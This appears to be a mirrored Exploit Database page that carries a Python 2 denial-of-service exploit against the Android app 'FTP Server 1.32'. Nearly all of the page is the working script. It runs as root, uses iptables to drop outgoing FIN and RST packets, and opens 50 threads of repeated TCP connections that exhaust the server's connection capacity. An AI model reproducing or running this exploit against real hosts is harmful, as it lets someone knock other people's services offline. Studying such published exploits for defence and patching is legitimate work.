FTP Server 1.32 – Denial of Service

• Exploit Database
• 112 阅读

• 作者： s4vitar
  日期： 2019-02-28
• 类别：

  • dos
  平台：

  • android
• 来源：https://www.exploit-db.com/exploits/46464/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77

  #!/usr/bin/env python #coding: utf-8   # ************************************************************************ # *Author: Marcelo Vázquez (aka s4vitar) * # * FTP Server 1.32 Remote Denial of Service (DoS) * # ************************************************************************   # Exploit Title: FTP Server 1.32 Remote Denial of Service (DoS) # Date: 2019-02-26 # Exploit Author: Marcelo Vázquez (aka s4vitar) # Vendor: The Olive Tree # Software Link: https://play.google.com/store/apps/details?id=com.theolivetree.ftpserver # Category: Mobile Apps # Version: <= FTP Server 1.32 # Tested on: Android   import socket, random, string, signal, ssl, argparse, sys from time import sleep from threading import Thread, active_count from os import system, geteuid   if geteuid() != 0: print("\nPlease, run %s as root...\n" % sys.argv[0]) sys.exit()   stop = False   def signal_handler(signal, frame): global stop stop = True   def spam(target_ip, port): while True: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(2) try: s.connect((target_ip, port)) except: pass if stop == True: break   if __name__ == &apos;__main__&apos;:   signal.signal(signal.SIGINT, signal_handler)   if len(sys.argv) != 3: print "\nUsage: python " + sys.argv[0] + " <ip-address> <port>\n" sys.exit(1)   target = sys.argv[1] port = int(sys.argv[2])   target_ip = socket.gethostbyname(target)   system(&apos;iptables -A OUTPUT -d %s -p tcp --dport %d --tcp-flags FIN FIN -j DROP&apos; %( target_ip, port )) system(&apos;iptables -A OUTPUT -d %s -p tcp --dport %d --tcp-flags RST RST -j DROP&apos; %( target_ip, port ))   threads = []   payload = &apos;&apos;   for i in xrange(0,50): t = Thread(target=spam, args=(target_ip, port,)) threads.append(t) t.start()   while True:   if active_count() == 1 or stop == True:   system(&apos;iptables -D OUTPUT -d %s -p tcp --dport %d --tcp-flags FIN FIN -j DROP&apos; %( target_ip, port )) system(&apos;iptables -D OUTPUT -d %s -p tcp --dport %d --tcp-flags RST RST -j DROP&apos; %( target_ip, port )) print("") break